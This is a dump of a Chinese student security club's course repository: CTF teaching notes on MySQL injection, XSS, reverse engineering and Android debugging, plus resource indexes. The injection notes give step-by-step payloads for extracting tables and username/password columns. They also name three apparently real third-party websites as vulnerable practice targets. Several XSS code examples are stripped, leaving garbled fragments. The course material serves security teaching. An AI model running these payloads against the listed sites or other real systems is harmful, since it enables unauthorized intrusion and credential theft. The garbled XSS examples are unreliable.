├── 2014-2015
├── 10-MysqlInjection
│ └── README.md
├── 11-Xss
│ └── README.md
└── 4-常见攻击原理与防御方法
│ └── 常见攻击原理与防御方法.pdf
├── 2017-2018
├── 10-Know it the Hack it
│ └── README.md
├── 11-Android&Reverse
│ └── Android&Reverse.md
├── 11-Misc
│ └── misc.pdf
├── 11-Web
│ └── Web.pdf
├── 3-Pwn
│ └── challenges
│ │ ├── ret2libc2
│ │ └── bin
│ │ │ ├── flag
│ │ │ └── pwn
│ │ ├── ret2shellcode
│ │ └── bin
│ │ │ ├── flag
│ │ │ └── pwn
│ │ └── ret2text
│ │ └── bin
│ │ ├── flag
│ │ └── pwn
└── 9-HelloSUS
│ └── README.pdf
├── 2018-2019
├── 11-Web1
│ └── web安全.pdf
├── 12-Reverse
│ └── Reverse.pdf
└── 9-HelloSUS
│ └── Hello SUS.pdf
├── README.md
└── 资源索引
├── Basic.md
├── CTF
├── AWD
│ └── README.md
└── Jeopardy
│ ├── Android.md
│ ├── Crypto.md
│ ├── Misc.md
│ ├── Pwn.md
│ ├── Re.md
│ └── Web.md
├── README.md
└── files
└── CTF
└── Jeopardy
├── Re
├── crackme.rar
└── recon2015-14-christopher-domas-The-movfuscator.pdf
└── Web
└── 腾讯XSS实例教程.pdf
/2014-2015/10-MysqlInjection/README.md:
--------------------------------------------------------------------------------
1 | ## 0x00 Mysql UNION Injection
2 | 判断注入点 (数字型):
3 |
4 | - www.example.com/xxx.php?id=1
5 | - www.example.com/xxx.php?id=1' -> 不正常,则可能存在注入
6 |
7 | 确定注入点:
8 |
9 | - www.example.com/xxx.php?id=1 and 1=1 -> 页面正常
10 | - www.example.com/xxx.php?id=1 and 1=2 -> 页面异常
11 | - **到这里可以确定存在注入点**
12 |
13 | 确定列数:
14 |
15 | - www.example.com/xxx.php?id=1 order by 1 -> 正常
16 | - www.example.com/xxx.php?id=1 order by 2 -> 正常
17 | - ……
18 | - ……
19 | - www.example.com/xxx.php?id=1 order by 6 -> 错误
20 | - **则查询的列数为5**
21 |
22 | 确认UNION查询是否可用:
23 |
24 | - www.example.com/xxx.php?id=1 and 1=2 union select 1,2,3,4,5,6
25 | - **如果页面有回显1,2,3,4,5,6中的任意一个,则可以用union查询,下面假设回显数字为1**
26 |
27 | 确认mysql版本:
28 |
29 | - www.example.com/xxx.php?id=1 and 1=2 union select version(),2,3,4,5,6
30 | - **如果mysql的版本为5.0以上则可以使用information_schema数据库来注入,如果版本低于5.0,就只能暴力猜解**
31 |
32 | mysql5.0以上版本注入方法:
33 |
34 | 1. 获取当前数据库中的表
35 | - www.example.com/xxx.php?id=1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()
36 | 2. 获取某张表中的列
37 | - www.example.com/xxx.php?id=1 and 1=2 union select group_concat(column_name) from information_schema.columns where table_name=0x75736572
38 | - 表名的十六进制,这里是user
39 | 3. 获取数据
40 | - www.site.com/xxx.php?id=1 and 1=2 union select 1,concat(user,0x3a,pass,0x3a,id),3,4,5,6 from user
41 | - **这里及下面的 `0x3a` 为分隔符
42 | 字符型注入:
43 | - www.example.com/xxx.php?city=nanjing' and '1'='1 -> 正常
44 | - www.example.com/xxx.php?city=nanjing' and '1'='2 -> 异常
45 | - **则说明存在注入点,以下步骤同数字型注入**
46 |
47 | ## 0x01 mysql error-based injection
48 |
49 | **原理:**此种注入使用union查询没有回显数据,在有报错的情况下利用报错信息来获取数据
50 |
51 | **利用思路:**当 group by 的字段不一样而查询结果已有一个,如查询 count(), sum() 时会报错 "Duplicate entry xxx from 'group_key'"
52 |
53 | **利用例句:**
54 |
55 | - select count(*),CONCAT(version(),0x3a,ROUND(RAND()*2))a from information_schema.TABLES GROUP BY a
56 | - 或
57 | - select sum(version),CONCAT(version(),0x3a,ROUND(RAND()*2))a from information_schema.TABLES GROUP BY a
58 | - 报错信息:[Err] 1062 - Duplicate entry '5.5.28:2' for key 'group_key'
59 | - 获取当前数据表名的语句:
60 | - `www.site.com/xxx.php?id=1 and (select 1 from (select sum(version),CONCAT((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,ROUND(RAND()*2))a from information_schema.TABLES GROUP BY a)b)`
61 |
62 | ## 0x02 mysql blind injection
63 |
64 | **原理:** 此种注入既不报错,union查询也不回显,所以只能通过页面的不同返回情况来注入。
65 | **利用思路:** 充分利用数据库本身提供的函数,如 :ascii() substr() if()
66 |
67 | 例如,获取当前数据库名第一位的一种payload
68 |
69 | ```mysql
70 | select ascii(substr(database(),1,1)) from information_schema.tables limit 0,1
71 |
72 | ```
73 | 继续利用
74 | ```mysql
75 | www.site.com/xxx.php?id=1 and (select if((payload)>99,1,0)) -> 返回正确
76 | www.site.com/xxx.php?id=1 and (select if((payload)>100,1,0)) -> 返回正确
77 | www.site.com/xxx.php?id=1 and (select if((payload)>101,1,0)) -> 返回错误
78 | ```
79 |
80 | 则数据库第一位为 e(对应的ascii为101) 照此可以拿到所有想要的信息
81 |
82 | ## 0x03 几个有漏洞的站点
83 | - http://www.burkemarine.com.au/category.php?cat_id=1
84 | - http://www.cideko.com/pro_con.php?id=3
85 | - http://www.vinayras.com/spider/diff.php?idd=518
--------------------------------------------------------------------------------
/2014-2015/11-Xss/README.md:
--------------------------------------------------------------------------------
1 | ## 0x01 JS能用来做什么
2 |
3 | * 请求资源
4 | * 提交表单
5 | * 修改html
6 | * 响应事件
7 | ---
8 |
9 | ## 0x02 一个含有js的html文件是怎样变成一个动态网页的
10 |
11 | **浏览器解析方式**
12 |
13 | 在HTML中有五类元素
14 | * 语言的解析一般分为`词法分析(lexical analysis)`和`语法分析(Syntax analysis)`两个阶段,WebKit中的 html解析也不例外,本文主要讨论词法分析。
15 | * 词法分析的任务是对输入字节流进行逐字扫描,根据构词规则识别单词和符号,分词。
16 | * 在WebKit中,有两个类,同词法分析密切相关,它是`HTMLToken`和`HTMLTokenizer`类,可以简单将HTMLToken类理 解 为标记,HTMLTokenizer类理解为词法解析器。HTML词法解析的任务,就是将输入的字节流解析成一个个的`标记(HTMLToken)`,然后由 语法解析器进行下一步的分析。
17 | * 在XML/HTML的文档解析中,token这个词经常用到,我将其理解为一个`有完整语义的单元(也就是分出来的 “词”)`,一个元素通常对应于3 个 token,一个是`元素的起始标签`,一个是`元素的结束标签`,一个是元素的`内容`,这点同DOM树是不一样的,在DOM树上,起始标签和结束标签对应于一个元素节点,而元素内容对应另一个节点。
18 | * 除了`起始标签(StartTag)`、`结束标签(EndTag)`和`元素内容(Character)`,HTML标签还有`DOCTYPE(文档类 型)`,`Comment(注释)`,`Uninitialized(默认类型)`和`EndOfFile(文档结束)`等类型,参见HTMLToken.h中的 Type枚举
19 |
20 | **在HTML中有五类元素:**
21 |
22 | 1. **空元素(Void elements)**,如``,`
`,``等等
23 | 2. **原始文本元素(Raw text elements)**,有`">
79 |
80 | ```
81 | * 坑点之自带HtmlEncode(转义)功能的标签:
82 | ```html
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 | ```
91 | 当我们的XSS payload位于这些标签中间时,并不会解析,除非我们把它们闭合掉。
92 |
93 | ---
94 |
95 | ## 0x06 XSS练习网站、资料
96 |
97 | * [xss-quiz](http://xss-quiz.int21h.jp/)
98 | * [alert(1) to win](https://alf.nu/alert1)
99 | * [prompt(1) to win](http://prompt.ml/0)
100 | * [html5 Security Cheatsheet](http://html5sec.org/)
101 | * [XSS Cheatsheet](http://ssv.sebug.net/XSS_Cheat_Sheet)
102 | * [OWASP XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
103 |
104 |
--------------------------------------------------------------------------------
/2014-2015/4-常见攻击原理与防御方法/常见攻击原理与防御方法.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2014-2015/4-常见攻击原理与防御方法/常见攻击原理与防御方法.pdf
--------------------------------------------------------------------------------
/2017-2018/10-Know it the Hack it/README.md:
--------------------------------------------------------------------------------
1 | # Know it then Hack it
2 |
3 | Move to [资源索引](/资源索引/)
--------------------------------------------------------------------------------
/2017-2018/11-Android&Reverse/Android&Reverse.md:
--------------------------------------------------------------------------------
1 | # Android && Reverse
2 |
3 | ## Reverse
4 |
5 | ### Assembly
6 | - 指令集
7 | - x86 / x64
8 | - ARM / ARM64
9 | - 一些小众架构 如:MIPS
10 |
11 | - CPU运行方式
12 |
13 | - 取出下一条指令、执行当前指令、输出结果
14 |
15 | - 单位
16 | - ·BIT(位):电脑数据量的最小单元,可以是0或者1。
17 | - ·BYTE(字节):一个字节包含8个位,所以一个字节最大值是255(0-255)。为了方便阅读,我们通常使用16进制来表示。
18 | - ·WORD(字):一个字由两个字节组成,共有16位。一个字的最大值是0xFFFF。
19 | - ·DWORD(双字DOUBLE WORD):一个双字包含两个字,共有32位。最大值为0xFFFFFFFF。
20 | - .QWORD(四字 QUAD-WORD):一个四字包含四个字,共64位。
21 | - 
22 |
23 | - 常用汇编指令
24 |
25 | - 运算指令:加 `ADD` 减 `SUB` 乘 `MUL` 除 `DIV` 异或 `XOR` 与 `AND` 或 `OR` 非 `NOT`
26 | - 数据转移指令:读取/写入内存 写入寄存器 `MOV`
27 | - 跳转指令:无条件跳转 `JMP` /条件跳转指令 `JZ`
28 | - 栈操作指令:出栈 `POP` 入栈 `PUSH`
29 | - 调用指令:`CALL`
30 | - 空指令:`NOP`
31 |
32 |
33 | - x86 / x64
34 | - 寄存器
35 | - 寄存器是CPU中的存储结构,用于暂存指令、数据、地址
36 |
37 | - 
38 |
39 | - x64架构在x86的基础上又增加了R8-R15这8个寄存器
40 | ```
41 | 高地址 ---------------------------- 低地址
42 |
43 | [==== ==== ==== ==== ==== ==== ==== ====] RAX
44 | [==== ==== ==== ====] EAX
45 | [==== ====] AX
46 | [====] AH
47 | [====] AL
48 | ```
49 |
50 | - 标志寄存器
51 | - Z-Flag:零标志,ZF是我们在破解中用的最多的寄存器,因为 `CMP` 指令会修改ZF的值
52 | - O-Flag:溢出标志,当上一步操作改变了某一寄存器的最高有效位时,OF会被设置为1。
53 | - C-Flag:进位标志,假设某一32位寄存器值为0xFFFFFFFF,再加1就会产生溢出,寄存器的值会变为0x00000000。
54 | - [wiki](https://zh.wikibooks.org/wiki/X86_%E6%B1%87%E7%BC%96)
55 |
56 | - ARM
57 | - 寄存器
58 | - R0-R15,其中R13与ESP相当,R11与EBP相当
59 | - R14是LR(link register),用于存储返回地址
60 | - R15是PC(program counter),其值为当前执行的指令地址+8
61 | - [ARM汇编详解](https://azeria-labs.com)
62 |
63 | - 
64 |
65 | - 堆&栈
66 | - push 入栈 pop 出栈,先入后出
67 | - TODO: @XuCcc
68 |
69 |
70 | ### Tools
71 | - [010Editor](https://www.52pojie.cn/thread-399761-1-1.html)
72 | 
73 |
74 |
75 | - [CFF Explorer](https://down.52pojie.cn/Tools/PEtools/CFF_Explorer.zip)
76 | 
77 |
78 |
79 |
80 | - IDA Pro: Interactive DisAssembler
81 | 
82 |
83 |
84 |
85 | - 调试器:gdb、WinDBG、OllyDBG、x64dbg、IDA的内置调试器
86 |
87 |
88 |
89 | ## Android
90 | ### Android系统背景
91 | - Android 操作系统结构
92 | 
93 |
94 | - 碎片化
95 | 
96 |
97 | 
98 |
99 | - 签名
100 |
101 | - root
102 | - 直接使用Recovery刷入su和daemon-su
103 | - 使用BootLoader替换原Recovery之后,再刷入su和daemon-su
104 | - 使用内核漏洞Exploit获取root权限
105 | - Andoird Application
106 | - .java -> .class -> .dex -> .apk (`smali` / `baksmali` `dex2jar`)
107 | - JNI调用Native代码(`IDA`)
108 |
109 | ### Andoird 逆向
110 | - 安卓逆向工具:
111 | 反汇编,重汇编: `apktool` , `shakaApktool`, `Apktoolbox` 等
112 | 静态分析: `jeb`,`apk改之理(ApkIDE)` , `Android Killer` 等
113 | 动态分析:`IDA`,`Android Studio`,`Eclipse` 等
114 | Android sdk自带:`adb` , `ddms`
115 |
116 | - smali
117 | - Dalvik虚拟机中的汇编语言
118 | - [语法](http://lib.csdn.net/article/android/7043)
119 |
120 | - 代码保护与逆向技术的对抗
121 | 1. 编译与反编译
122 | - Java层
123 | - java -> jvm字节码 -> dalvik字节码
124 | - .dex -> smali(`smali`)
125 | - .dex -> smali, java(`Jeb`)
126 | - .dex -> java字节码(`dex2jar`)
127 | - Native层
128 | - C/C++ -> .so
129 | - .so -> 汇编/伪C(`IDA`)
130 | 2. 加壳与脱壳
131 | - 基于加固平台/开发者自行加固
132 | - 脱壳
133 | - Hook技术:基于Xposed的ZJDroid
134 | - Dump内存重建dex文件
135 | - DexHunter/AppSpear:基于修改Android系统runtime的通用脱壳机
136 |
137 | ### 配置Android开发环境
138 | - 安装jdk与jdk环境变量配置([参考资料](http://jingyan.baidu.com/article/6dad5075d1dc40a123e36ea3.html))
139 | 1. 配置jdk环境变量:
140 | ```
141 | 计算机 -> 属性 -> 更改设置 -> (系统属性)高级 -> 环境变量 -> 系统变量
142 | ```
143 | 2. 新建:
144 | ```
145 | JAVA_HOME -> JDK安装路径
146 | CLASSPATH -> ...;%JAVA_HOME%/lib/dt.jar;%JAVA_HOME%/lib/tools.jar
147 | ```
148 | 3. 编辑:
149 | ```
150 | PATH -> %JAVA_HOME%/bin;%JAVA_HOME%/jre/bin
151 | ```
152 |
153 | - 安装Android sdk与Android sdk环境变量配置
154 |
155 | **配置Andriod环境变量前提是要先安装好JAVA环境**
156 |
157 | 1. 下载 [Android SDK](http://developer.android.com/sdk/index.html),点击安装,直接默认路径即
158 |
159 | 2. 修改默认路径安装后,安装完成,开始配置环境变量。
160 |
161 | 3. 打开计算机属性——高级系统设置——环境变量
162 |
163 | 4. 新建一个环境变量,变量名:ANDROID_HOME,变量值:D:\adt-bundle-windows-x86_64-20140702\sdk(以你安装目录为准,确认里面有tools和add-ons等多个文件夹),点击确认。
164 |
165 | 5. 在用户变量PATH后面加上变量值;%ANDROID_HOME%\platform-tools;点击确认即可。在系统变量path中添加
166 | D:\adt-bundle-windows-x86_64-20140702\sdk\tools
167 |
168 | 6. Android SDK配置完成,接下来验证配置是否成功。
169 |
170 | 7. 点击运行——输入cmd——回车——输入adb——回车,如果没有提示未找到命令即表示配置成功,在输入Android,启动Android SDK Manager。
171 |
172 | - 虚拟机安装
173 | 安卓虚拟机目前种类繁多,推荐使用 `Android Studio` 作为开发环境,自带虚拟机,当然,有条件上实体机也是不错的选择,毕竟虚拟机有时会发生奇怪的问题。
174 |
175 | - 前面提到的一些工具 [百度网盘](http://pan.baidu.com/s/1nuYwLJVx) 密码:ar60
176 |
177 | ## How To Reverse
178 | - 去除软件保护
179 | 1. 查壳
180 | - PEiD、ExeInfoPE等等
181 | 2. 脱壳
182 | - 搜索对应的脱壳机
183 | - ESP定律脱壳(仅适用于压缩壳)
184 | 3. 去除花指令
185 | - 使用OllyDBG脚本或IDC&IDA Python脚本
186 | - 手动patch花指令
187 | 4. 去除混淆
188 | - 定位验证代码
189 | 1. 正面硬肛
190 | - 从程序入口(main函数)开始,逐函数分析
191 | - 慢慢深入,达到验证代码位置
192 | - 静态分析
193 |
194 | 2. 从输入输出处寻找
195 | - 查找调用输入输出函数的地方,如:scanf、get、cin等等
196 | - 进而回溯处理(验证)过程
197 | 3. 查询关键字符串
198 | - 搜索关键字符串直接定位验证函数
199 | - 比赛中常见算法
200 | 1. 没算法
201 | 2. 简单的异或
202 | 3. 雪崩式的异或(前一步的结果影响下一步的结果)
203 | 4. 加密算法(RSA、AES、RC4)
204 | 5. 摘要算法(SHA1、MD5)
205 | 6. 编码(Base64)
206 | 7. 解方程
207 | 8. 脑洞算法(走迷宫……)
208 | - 小技巧
209 | 1. 快速定位关键代码
210 | - 从 Function List 前面开始翻
211 | - 从 main 函数周围翻
212 | - 一般来说,用户代码部分不会有一些奇怪的算法,如果看到了奇怪的算法,就有可能是进入了系统函数
213 |
214 | 2. MFC 逆向
215 | - 使用 xspy 工具查看消息处理函数
216 | - 之后就与正常逆向一致了
217 | - 动态调试
218 | - IDA Pro
219 | 1. Windows
220 | 一般来说,使用 `Local Windows Debugger`,直接在本机调试,如果需要在虚拟机中调试可以参照Linux的设置方法
221 | 2. Linux
222 | - 这里以VMWare为例,配置网络为NAT模式, 关闭虚拟机防火墙。调试器选择 `Remote Linux Debugger` ,点击Debugger->Process Options,填入虚拟机的ip和端口。
223 | - 将IDA目录下的 `dbgsrv` 文件夹中对应的调试服务端放入虚拟机,运行,然后就可以开始调试了。
224 | - **注意待调试程序是32位和64位,使用对应调试服务端**
225 | 3. Android
226 | - 虚拟机调试
227 | - 首先按照前文说明搭建好 `Android SDK` 环境,并新建一台虚拟机
228 | - 通过 `adb push` 命令将 `dbgsrv` 下的调试服务端推送至虚拟机内
229 | - 利用 `adb shell` 进入对应目录,修改权限并启动
230 | ```
231 | chown 0.0 ./android_server
232 | chmod 755 ./android_server
233 | ./android_server
234 | ```
235 |
236 | - 新开一个命令行,执行端口转发
237 | ```
238 | adb forward tcp:23946 tcp:23946
239 | ```
240 |
241 | - 调试器选择 `Remote ARMLiunx/Android Debugger`,进入Process Options,ip填127.0.0.1,端口为23946
242 |
243 | - 真机调试
244 | - 建议先root手机,否则会由于应用设置了 `debuggable=false` 而无法调试
245 | - 安装 Xposed 框架,在其他设置中勾选调试其他应用
246 | - 其余步骤同虚拟机
247 |
248 | - 调试过程
249 | 1. 解压apk文件,将其中的dex文件用IDA打开
250 | 2. 修改Debugger Option
251 | - 勾选 'Suspend on process entry point'
252 | - 
253 | - 配置虚拟机ID和apk包名
254 | ```
255 | 查看虚拟机ID
256 | adb devices
257 | ```
258 |
259 | - 
260 |
261 | - 现实与比赛的不同
262 | 1. 现实:
263 | - 代码量巨大
264 | - 大量使用其他库
265 | - 各种奇怪的编码&语言
266 | - 大量现代语言特性
267 | - 性能优化&加密壳
268 | - 一些冷门的编程语言
269 | 2. CTF比赛:
270 | - 代码量小
271 | - 结构简单
272 | - 现代语言特性少
273 | - 很少使用加密壳或优化
274 | - 语言比较常见
275 |
276 | ## THE END
277 | - **注意保护自己**,比赛一般不会遇到,但在分析现实中软件(特别是病毒和外挂)的时候一定要注意,开发者可能会留有暗桩(关机重启,甚至格盘)
278 | - 修改可执行文件后缀名,防止误运行
279 | - 绝对!不要!在真机运行不可信的软件!同时,也不要在真机进行动态调试,很容易跑飞。
280 | - 推荐打开360或与其同等强度的HIPS(Host-based Intrusion Prevention System)防御软件
281 | - Books
282 | - 《加密与解密》
283 | - 《IDA Pro权威指南》
284 | - 《Android软件安全与逆向分析》
285 |
286 | 部分内容参考 Tea Delivers@Misty & 腾讯玄武实验室@刘惠明
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
--------------------------------------------------------------------------------
/2017-2018/11-Misc/misc.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/11-Misc/misc.pdf
--------------------------------------------------------------------------------
/2017-2018/11-Web/Web.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/11-Web/Web.pdf
--------------------------------------------------------------------------------
/2017-2018/3-Pwn/challenges/ret2libc2/bin/flag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2libc2/bin/flag
--------------------------------------------------------------------------------
/2017-2018/3-Pwn/challenges/ret2libc2/bin/pwn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2libc2/bin/pwn
--------------------------------------------------------------------------------
/2017-2018/3-Pwn/challenges/ret2shellcode/bin/flag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2shellcode/bin/flag
--------------------------------------------------------------------------------
/2017-2018/3-Pwn/challenges/ret2shellcode/bin/pwn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2shellcode/bin/pwn
--------------------------------------------------------------------------------
/2017-2018/3-Pwn/challenges/ret2text/bin/flag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2text/bin/flag
--------------------------------------------------------------------------------
/2017-2018/3-Pwn/challenges/ret2text/bin/pwn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/3-Pwn/challenges/ret2text/bin/pwn
--------------------------------------------------------------------------------
/2017-2018/9-HelloSUS/README.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2017-2018/9-HelloSUS/README.pdf
--------------------------------------------------------------------------------
/2018-2019/11-Web1/web安全.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2018-2019/11-Web1/web安全.pdf
--------------------------------------------------------------------------------
/2018-2019/12-Reverse/Reverse.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2018-2019/12-Reverse/Reverse.pdf
--------------------------------------------------------------------------------
/2018-2019/9-HelloSUS/Hello SUS.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/2018-2019/9-HelloSUS/Hello SUS.pdf
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Course
2 |
3 | 整理社团历次宣讲会的课件
4 |
5 | ## [资源索引](资源索引/)
6 |
7 | 不断更新
8 |
9 | ### 2014-2015
10 |
11 | - [MysqlInjection](2014-2015/10-MysqlInjection) from **ymlbright**
12 | - [Xss](2014-2015/11-Xss) from **ymlbright**
13 | - [常见攻击原理与防御方法](2014-2015/4-常见攻击原理与防御方法)
14 |
15 | ### 2015-2016
16 |
17 | TODO
18 |
19 | ### 2016-2017
20 |
21 | TODO
22 |
23 | ### 2017-2018
24 |
25 | - [HelloSUS](2017-2018/9-HelloSUS) from **Xu**
26 | - [Know it then Hack it](2017-2018/10-Know%20it%20the%20Hack%20it) from **SUSers**
27 | - [Misc](2017-2018/11-Misc) from **Xu**
28 | - [Web(从入门到入狱)](2017-2018/11-Web) from **imagemlt**
29 | - [Android && Reverse](2017-2018/11-Android&&Reverse) from **Raphael**
30 | - [Pwn](2017-2018/3-Pwn) from **Xu**
31 |
32 | ### 2018-2019
33 |
34 | - [Hello SUS](2018-2019/9-HelloSUS) from **Imagemlt**
35 | - [CTF Web服务器端安全](2018-2019/11-Web1) from **Imagemlt**
36 | - [CTF逆向工程](2018-2019/12-Reverse) from **Raphael**
37 |
--------------------------------------------------------------------------------
/资源索引/Basic.md:
--------------------------------------------------------------------------------
1 | # Basics
2 |
3 | ## Books
4 |
5 | - C++
6 | - C++ Prime
7 | - python
8 | - python核心编程
9 | - Java
10 | - Java程序设计语言
11 | - Java核心思想
12 | - 数据结构
13 | - 数据结构(C语言版)清华大学出版社
14 |
15 | ## Sites
16 |
17 | - [慕课网](http://www.immoc.com)
18 | - [CSDN](http://www.csdn.net)
--------------------------------------------------------------------------------
/资源索引/CTF/AWD/README.md:
--------------------------------------------------------------------------------
1 | # AWD
2 |
3 |
4 | - [CTF线下攻防赛总结](http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/)
5 | - [CTF线下防御战](http://mp.weixin.qq.com/s/4vgWVVdimVwpTkDuu3Ex8g)
6 | - [AWD攻防解题技巧](http://mp.weixin.qq.com/s/XQUSk7wTs4GhPRosHhKYWg)
7 | - [AWD套路小结](http://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw%3D%3D&mid=2247484246&idx=1&sn=3744c967a8e9c982d17245755fbcd847&scene=45#wechat_redirect)
--------------------------------------------------------------------------------
/资源索引/CTF/Jeopardy/Android.md:
--------------------------------------------------------------------------------
1 | # Android
2 |
3 | ## Books
4 |
5 | - 《Android软件安全与逆向分析》
6 |
7 | ## Tools
8 |
9 | - jadx
10 | - jd-gui
11 | - apktool
12 |
--------------------------------------------------------------------------------
/资源索引/CTF/Jeopardy/Crypto.md:
--------------------------------------------------------------------------------
1 | # Crypto
2 |
3 | ## Sites
4 |
5 | - [可汗学院公开课](http://open.163.com/special/Khan/moderncryptography.html)
6 | - [深入浅出密码学——常用加密技术原理与应用](https://github.com/yuankeyang/python/blob/master/%E3%80%8A%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA%E5%AF%86%E7%A0%81%E5%AD%A6%E2%80%94%E2%80%94%E5%B8%B8%E7%94%A8%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86%E4%B8%8E%E5%BA%94%E7%94%A8%E3%80%8B.pdf)
7 | - [维基百科:密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6)
--------------------------------------------------------------------------------
/资源索引/CTF/Jeopardy/Misc.md:
--------------------------------------------------------------------------------
1 | # Misc
2 |
3 | ## Books
4 |
5 | - 数据隐藏技术揭秘
6 | - Wireshark 网络分析就这么简单
7 |
8 | ## Articles
9 |
10 | ### Outline
11 |
12 | - [CTF Forensics Field Guide](https://michael-myers.github.io/blog/post/ctf-forensics-field-guide/)
13 | - [CTF取证类题目指南(译文)](http://mp.weixin.qq.com/s/fSZJ6IZqQKCjNAQ1hgUPOw)
14 |
15 | ### Encode
16 |
17 |
18 | ### Forensics
19 |
20 | - Outline
21 | - [forensicswiki](http://forensicswiki.org/wiki/Main_Page)
22 | - Memory
23 | - [CTF内存取证入坑指南](http://www.freebuf.com/column/152545.html)
24 | - [内存取证三项CTF赛题详解](http://www.freebuf.com/articles/rookie/145262.html)
25 |
26 |
27 | ### Stego
28 |
29 | - [CTF | 那些比较好玩的stego(正传)](https://zhuanlan.zhihu.com/p/23127122)
--------------------------------------------------------------------------------
/资源索引/CTF/Jeopardy/Pwn.md:
--------------------------------------------------------------------------------
1 | # Pwn
2 |
3 | ## Books
4 |
5 | - [黑客之道](https://baike.baidu.com/item/%E9%BB%91%E5%AE%A2%E4%B9%8B%E9%81%93/12407734?fr=aladdin)
6 | - [程序员的自我修养](https://book.douban.com/subject/3652388/)
7 | - [漏洞战争](https://book.douban.com/subject/26830238/)
8 |
9 | ## Sites
10 |
11 | - [C语言函数调用栈(一)](http://www.cnblogs.com/clover-toeic/p/3755401.html)
12 | - [C语言函数调用栈(二)](http://www.cnblogs.com/clover-toeic/p/3756668.html)
13 | - [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/)
14 |
15 | ## Practices
16 |
17 | - [pwnable.kr](http://pwnable.kr/play.php)
18 | - [pwnalbe.tw](https://pwnable.tw/)
19 | - [exploit-exercises](https://exploit-exercises.com/)
20 |
21 | ## Tools
22 |
23 | - Desassembler
24 | - IDA
25 | - Debug
26 | - GDB
27 | - pwntools
28 | - peda
29 | - checksec
30 | - libcdb
31 | - Ropgadget
--------------------------------------------------------------------------------
/资源索引/CTF/Jeopardy/Re.md:
--------------------------------------------------------------------------------
1 | # Re
2 | ## Books
3 | - 《加密与解密》 第三版
4 | - 《IDA Pro 权威指南》 第二版
5 | - 《逆向工程核心原理》
6 |
7 | ## Sites
8 | - [看雪安全论坛](https://bbs.pediy.com/)
9 | - [吾爱破解](https://www.52pojie.cn/)
10 |
11 | ## Practices
12 | - 160个Crackme [Click Me](/资源索引/files/CTF/Jeopardy/Re/crackme.rar)
13 | - [Reversing.Kr](http://reversing.kr/challenge.php)
14 | - [实验吧](http://www.shiyanbar.com/ctf/practice)
15 | - [XCTF-OJ](http://oj.xctf.org.cn/)
16 | - [CTFs](https://github.com/ctfs)
17 |
18 | ## Tools
19 | ### HexEditors
20 | - [010Editor](http://www.sweetscape.com/010editor/)
21 | - [HxD](https://mh-nexus.de/en/hxd/)
22 | - [WinHex](http://www.x-ways.net/winhex/)
23 |
24 | ### Disassembler & Decompiler
25 | - [IDA Pro 7.0](https://www.hex-rays.com/products/ida/index.shtml)
26 | - [Binary Ninja](https://binary.ninja/)
27 | - [Radare](http://www.radare.org/r/)
28 | - [objdump](http://linux.die.net/man/1/objdump)
29 | - [Retargetable Decompiler](https://retdec.com/)
30 |
31 | ### Debugger
32 | - [OllyDbg](http://www.ollydbg.de/version2.html)
33 | - [x64dbg](http://x64dbg.com/#start)
34 | - [WinDBG](https://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx)
35 | - [gdb](https://www.gnu.org/software/gdb/)
36 |
37 | ### Binary Analysis
38 | - [angr](https://github.com/angr/angr)
39 |
40 | ### Binary Format Analysis
41 | - [CFF Explorer](http://www.ntcore.com/exsuite.php)
42 | - [PEiD](https://tuts4you.com/download.php?view.398)
43 |
44 |
45 | ## Articles
46 | ### Obfuscator
47 | - movfuscator
48 | - [Source Code](https://github.com/xoreaxeaxeax/movfuscator)
49 | - [Introduction](/资源索引/files/CTF/Jeopardy/Re/recon2015-14-christopher-domas-The-movfuscator.pdf)
50 | - [Demovfuscator](https://github.com/kirschju/demovfuscator) 用于恢复程序跳转流程,无法恢复其余指令
51 | - [侧信道攻击1](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) 适用于逐位比对的情况
